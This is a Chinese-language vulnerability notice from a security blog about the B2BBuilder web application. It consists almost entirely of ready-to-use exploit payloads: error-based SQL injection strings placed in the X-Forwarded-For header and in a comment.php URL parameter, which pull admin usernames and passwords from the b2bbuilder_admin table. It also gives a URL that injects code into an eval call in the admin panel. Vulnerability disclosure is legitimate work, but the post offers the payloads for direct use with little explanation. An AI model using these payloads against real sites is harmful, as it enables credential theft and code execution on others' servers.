漏洞播报：B2BBuilder 两处注入+后台任意代码执行

  • A+
所属分类：Seay信息安全博客

显示不全请点击全屏阅读

1、B2BBuilder头注入后台任意代码执行

构造头部测试: 

x-forwarded-for:' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,password,user,0x27,0x7e) from b2bbuilder_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
后台任意代码执行
在eval中用;就能分别执行两个命令，访问:
 
http://www.0day5.com/admin/module_translations.php?mod=;phpinfo()
2、B2BBuilder 又一注入漏洞
爆账号: 
http://www.0day5.com/comment.php?ctype=2&conid=16873%20and(select%201%20from(select%20count(*),
concat((select%20(select%20(select%20concat(user,0x3A,password)%20
from%20b2bbuilder_admin%20Order%20by%20user%20limit%200,1)%20)%20
from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20
from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1

爆密码：

http://www.0day5.com/comment.php?ctype=2&conid=16873 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,unhex(Hex(cast(b2bbuilder_admin.password as char))),0x27,0x7e) from `b2bbuilder`.b2bbuilder_admin Order by user limit 1,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

来源：http://0day5.com/archives/772

Tags：

B2BBuilder漏洞, 代码审计,

如果您喜欢我的博客，欢迎点击图片定订阅到邮箱填写您的邮件地址，订阅我们的精彩内容： 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你，也可微信扫下方二维码打赏本人一杯咖啡
漏洞播报：B2BBuilder 两处注入+后台任意代码执行